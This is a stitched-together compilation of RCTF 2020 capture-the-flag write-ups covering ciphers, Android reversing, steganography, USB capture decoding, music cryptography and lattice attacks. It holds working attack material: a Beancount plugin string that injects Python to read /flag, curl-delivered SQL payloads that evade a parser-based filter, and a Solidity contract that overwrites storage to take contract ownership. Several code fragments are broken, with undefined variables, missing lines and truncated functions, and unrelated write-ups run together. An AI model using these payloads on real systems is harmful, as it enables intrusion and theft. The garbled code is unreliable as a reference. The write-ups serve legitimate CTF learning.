def encrypt(t,k):
    x,y = R(x,y,b)
    for i in range(31):
        a,b = R(a,b,i)
        x,y = R(x,y,b)
    return y,x

def decrypt(t,k):
    keys = []
    for i in range(32):
        a,b = R(a,b,i)
    for i in range(32):
        x,y = RI(x,y,keys[31-i])
    return y,x

def solve():
    with open('ciphertext', 'rb') as f:
        ct = f.read().strip()
    print ct.encode('hex')
    key = -1
    for i in range(65536):
        t0 = unpack('>Q',ct[:8])[0]
        t1 = unpack('>Q',ct[8:16])[0]
        x,y = decrypt([t0,t1],[i<<48,0])
        ans = pack('>Q',x)+pack('>Q',y)
        if ans.startswith('RCTF'):
            key = i

    assert key!=-1
    print key
    ans = ''
    for i in range(len(ct)/16):
        t0 = unpack('>Q',ct[i*16:i*16+8])[0]
        t1 = unpack('>Q',ct[i*16+8:i*16+16])[0]
        print hex(t0), hex(t1)
        x,y = decrypt([t0,t1],[key<<48,0])
        ans += pack('>Q',x)+pack('>Q',y)
    print ans



This is a Gobang game. After 10 times of continuous input to the computer, a prompt appears:

We got an AES key: welcometorctf

Decompile discovery activity_ main.xml There is a hidden textview in


Try AES decryption: use ECB pkcs7 128 bit to solve plaintext successfully

As long as you win the computer 99 times, you can get the flag!

You only need to win the computer 99 times to get the flag

Reverse code logic, and find that computer operation and win / loss judgment are written in NDK, which is encrypted by ollvm

Two ideas:

  1. Reverse NDK logic, restore decryption code
  2. Find a way to win the computer 99 Times


Use Deflat Anti obfuscation ollvm, the following is the restored decryption code:

a = 0x13f4e6a3
b = 0xdef984b1

for i in range(99):
    a = a + i + 1
    m = a % 4
    if (m == 0):
        b = (b ^ a) & 0xffffffff
    elif (m == 1):
        b = (b * (i + 1)) & 0xffffffff
    elif (m == 2):
        b = (b << (( i + 1 ) % 8 )) & 0xffffffff
    elif (m == 3):
        b = (b + a) & 0xffffffff



Let yourself win the computer 99 times. There are many methods in dex patch. Here is an introduction

find QiPanView.class When this. U = 1, it represents the player, and when this. U = 2, it represents the computer.

Exchange the two signs and input them to the computer 99 times (there are many ways)


Use plugin stringsearch to search RCTF,then memdump to dump memory and grep by strings.



First message is Arudino small lights program, according to the light bulb when long length, can be resolved as a Morse code, analysis of the common radio communication format, you can get to the real content of communication to 88, query the meaning can decompress password Love and kisses, can obtain a QR code and a bluetooth log files, cia QR codes for animals by texture resolution, resolution can be obtained and whale 🐳 emjoy, analysis of bluetooth file, you can extract a picture after steghide steganalysis

steghide extract -sf moon.jpg 

Extract an image containing base64 encoded textaHR0cHMlM0EvL216bC5sYS8yV0VqbjVh,Decoded by https://mzl.la/2WEjn5a, 🐳 decryption get flag in front


plugin "beancount.plugins.commodity_attr" "__import__('sys').stdout.write(open('/flag').read())"

Switch Pro Controller

Switch Pro Controller is connect to Windows with Steam installed through USB. Open the friend chat window, and then press the left stick three times to launch Steam’s screen keyboard. Starting screen recording and Wireshark to capture the packets. You should get flag by the video file and the pcapng file.

Attachment: capture.pcappng screenrecord.mp4

Flag: RCTF{5witch_1s_4m4z1ng_m8dw65}

For the references and details, please view https://github.com/Littlefisher619/MyCTFChallenges/edit/master/CTFChallengeSwitch

import ffmpeg
# install ffmpeg to your system and then pip3 install ffmpeg-python
import numpy
import cv2
import json

KEY_A = 0b00001000
JSON_FILE = 'easy.json'
VIDEO_FILE = 'easy.mp4'
# Timedelta can be calculated by when the first packet that 
# means KEY_A pressed appears and when the first character
# appears on the textbox in the video
# It help us locate the KEY_A-Pressed frames in the video.

f = open(JSON_FILE, 'r', encoding='utf-8')
packets = json.loads(f.read())

# filter the packets which means A is pressed and extract time and frameNo
buf = []
for packet in packets[735:]:
    layers = packet['_source']['layers']
    packetid = int(layers['frame']['frame.number'])
    time = float(layers['frame']['frame.time_relative'])
        capdata = bytearray.fromhex(layers["usb.capdata"].replace(':', ' '))
        if capdata[3] & KEY_A == KEY_A:
            buf.append([packetid, time])
            print(packetid, time, [bin(data)[2:] for data in capdata[3:6]])
    except KeyError:


# seperate sequences from filtered packets and calculate the average time for each sequence
time_avg = []
_lastid = buf[0][0]-2
_sum = 0
_sumcnt = 0
_cnt = 0

for data in buf:
    _cnt += 1
    if data[0]-_lastid==2 and _cnt!=len(buf):
        _sum = 0
        _sumcnt = 0
    _lastid = data[0]

# extract frames from the video one by one
for t in time_avg:
    out, err = (
        ffmpeg.input(VIDEO_FILE, ss=t)
              .output('pipe:', vframes=1, format='image2', vcodec='mjpeg')

    image_array = numpy.asarray(bytearray(out), dtype="uint8")
    image = cv2.imdecode(image_array, cv2.IMREAD_COLOR)
    cv2.imshow('time={}'.format(t), image)

    cv2.moveWindow('time={}'.format(t), 0, 0)
    if cv2.waitKey(0) == 27:


According to the suggestion of the topic, this topic has little to do with the normal audio steganography, and the core is to listen. For the experienced ctfer, he must have seen all kinds of coding or encryption, so is it possible that music is also a encrypted ciphertext?

If you have a certain music theory foundation, it should be easy to hear that part of the audio segments are repetitive, so it is easier to associate that different segments may represent some content.

For keyword search, Google “music cryptography”, it’s easy to find the following article


If you are familiar with the staff and the audio, you can easily locate the following codebook. However, considering that most of the players are taken care of, I gave the keyword “1804” in my topic expression, so you can confirm that the codebook is this picture

Because it’s all monophonic, if the music foundation is strong, you can write the staff of the audio, and then translate it into the codebook.

If the music foundation is a little poor, you can use some audio software to assist you. You can recognize one sound by one and listen patiently.

If there is no music foundation at all, you can quickly learn the staff and basic music theory. I believe ctfer’s learning ability.

The final audio solution is ufindthemusicsecret

flag isRCTF{ufindthemusicsecret}




import (
    "github.com/pingcap/parser"                     // v3.1.2-0.20200507065358-a5eade012146+incompatible
    _ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
    for i := 0; i < len(forbidden); i++ {
        isForbidden[forbidden[i]] = true

func allow(payload string) bool {
    if len(payload) < 3 || len(payload) > 128 {
        return false
    for i := 0; i < len(payload); i++ {
        if isForbidden[payload[i]] {
            return false
    if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
        return true
    return false

// do query...


The challenge receives SQL with restricted characters audited by a SQL parser. However, There are many ways to solve this challenge, whether in lexer or parser.

Break the lexer

According to the source code of mysql-server lexer, it allows ‘– ‘ style line comments, where ‘–‘ can be followed by a character marked as _MY_SPC or _MY_CTR.

If you read the parser code, you will find that this parser uses unicode.IsSpace() to identify spaces, which leads to inconsistency with official mysql server lexer, and we can exploit that.

Character MySQL Server Parser
0x01 – 0x08, 0x15 – 0x19 _MY_CTR Unrecognized
0x14 _MY_SPC Unrecognized
0x09 (\t), 0x10 (\n), 0x11 (\v), 0x12 (\f), 0x13 (\r) _MY_CTR or _MY_SPC Not Allowed
0x20 (space) _MY_SPC Space
0x85 Unrecognized Space
0xa0 Unrecognized Not Allowed

The table above lists some inconsistencies. If you want to explore more, this might be helpful:

Now it’s quite clear to solve this challenge, here are some examples:

  1. \x01 is not recognized as space in parser
    $ echo "select flag from flag--\x01"
    select flag from flag--
    $ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20flag--%01&pow=000"
  2. \x85 is not recognized as space in mysql-server

$ echo "select flag from flag --\x85tbl where --\x85tbl.flag+1"
select flag from flag --�tbl where --�tbl.flag+1
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20flag%20%85rois%20where%20--%85rois.flag%2b1&pow=000"

Break the parser

Besides the lexer, there are also many flaws in the parser. By reading the source yacc file of parser and mysql server, you can easily find some quite significant differences between the parser and mysql server.

Table Factor

The official mysql server allows tables to be used as follows:

// copied from https://github.com/mysql/mysql-server/blob/5.7/sql/sql_yacc.yy#L13059

    | ident '.' ident
    | '.' ident

But the parser has some differences:

// copied from https://github.com/pingcap/parser/blob/master/parser.y#L6765

    |   Identifier '.' Identifier

The difference between the two takes us directly to the flag.

$ echo "select flag from .flag"
select flag from .flag
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20.flag&pow=000"

Keyword Conflicts

When we analyze the difference between the two parsers, Keyword Conlicts are always the easiest to find, and always exist.

Since there are many ways to find keyword conflicts, I will only present one as an example.

The properties of tokens are quite different between mysql server and the parser. You can find the tokens of the parser here which has a lot of keywords. I feed the tokens into the parser and get the following payloads that causes the parser error.

  • “select flag EXCEPT from flag”
  • “select flag NVARCHAR from flag”
  • “select flag CURRENT_ROLE from flag”
  • “select flag PRE_SPLIT_REGIONS from flag”
  • “select flag ROW from flag”
  • “select flag ERROR from flag”
  • “select flag PACK_KEYS from flag”
  • “select flag SHARD_ROW_ID_BITS from flag”
$ echo "select flag EXCEPT from flag"
select flag EXCEPT from flag
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20EXCEPT%20from%20flag&pow=000"

Unintended Solution

During the game, Team DUBHE used the HANDLER Statement to successfully break the parser, which I didn’t expected at all, and get third blood of this challenge!

$ echo "handler flag open" && echo "handler flag read first" && echo "handler flag close"
handler flag open
handler flag read first
handler flag close
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%20open&pow=000"
Empty set
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%20read%20first&pow=000"
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%29close&pow=000"
Empty set

Moreover, There are more flaws in the parser…



Very easy

from pwn import *
from hashlib import sha256,sha512
import re
import sys
from sage.all import *

Nbits = 768
Pbits = 512

p = remote("", 2333)

M = int(p.recvuntil('\n',drop=True))
print (M)
p.send(str(Pbits+1) + "\n")
key = []

f = re.compile(r"f\((\d+)\)=(\d+)")

for i in range(Pbits+1):
    data = f.findall(p.recvuntil('\n',drop=True))[0]
    key = key + [(int(data[0]), int(data[1]))]

T = key[0:Pbits+1]
P = PolynomialRing(GF(M),'x')

ret = P(0)
for x, y in key:
    r = P(1) * y
    for xx, yy in key:
        if x == xx:
        r = r * P('(x - %d)/(%d - %d)'%(xx, x, xx))
    ret = ret + r
# print ret
print '*'*100
print ret[0]
p.send(str(ret[0]) + "\n")
print p.recvuntil("\n")


ECC with the form y^2 = x^3 + b on GF( p) has a cardinality of p+1 at p % 3 == 1
The cardinality of ECC on Zmod(pq) that meets the above conditions = (p+1)(q+1), similar to RSA’s (p-1)*(q-1)
This problem is similar to RSA where N is 1024 bit, d is 412 bit (> 0.292), and leak the lower 256 bit of d.
The paper reproduces that the ternary coppersmith attack requires you to construct the lattice yourself and LLL. The previous script of Boneh Durfee attack on github is not very easy to change.



keep interaction until p-1 is smooth enough. Calculate the DLP on GF(p), and the problem becomes a knapsack problem.
LLL is not effective, there is a high probability that it cannot be achieved.So you need to use the BKZ algorithm.
Many times BSGS to find DLP is time-consuming.Interested parties suggest to implement BSGS and solve 90 DLPs at the same time.





  • The challenge gives the source code.
  • The normal logic of the challenge is presented here, and there are three key points:
    • Predicting the random number: guess range is only 2, that means, only 0 and 1, so we can brute force it
    • Uninitialized structure storage overwrite problem: Uninitialized failedlog in settle will cause the storage variable be overwrited, then the codex array length will be overwrited.
    • Arbitrary writing: When the array length is modified, we can overwrite the owner, of course there are certain requirements for the array length, choose the appropriate data according to the situation, here is to use msg.sender to overwrite the array length of 20 bytes high.


  • Deploy hack contracts, here’s a note:
    • the array at storage5 position, and keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
    • We can modify slot 6 when we modify codex[y],(y=2^256-x+6), thus modifying owner , where x = keccak256(bytes32(5))
    • Calculate that y = 114245411204874937970903528273105092893277201882823832116766311725579567940182 , i.e. y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
    • So the codex.length of the array should be > y ,since msg.sender overwrite the array length of 20 bytes higher, it is in fact a disguised request for address(msg.sender) > y , we can generate an address starting with 0xfd or 0xfe or 0xff to simply satisfy this point
  • A basic exploit as follows :
    • call hack1
    • call hack2 once ,the result need be equal to 1, otherwise continue to call hack2.
    • call hack3 twice, both times with result = 0, otherwise keep calling hack3 twice.
    • call hack4 to modify owner ,here is a point ,the contract given by the challenge is not a real contract , because we call hack4 always fails to modify the owner . After reverse the contract ,we can see that the revise function has a bug, it’s additional requirements msg.sender lowest byte is 0x61 ,so there are two requirements for msg.sender : greater than y and the lowest byte is 0x61
    • call hack5
contract hack {
    uint public result;
    address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
    FakeOwnerGame target = FakeOwnerGame(instance_address);

    constructor() payable{}

    // guess number 
    function hack1() {
        target.lockInGuess.value(1 ether)(0);

    function hack2() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 1) {

    // make result=0
    function hack3() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 0) {

    // modify owner
    function hack4() {

    function hack5() {


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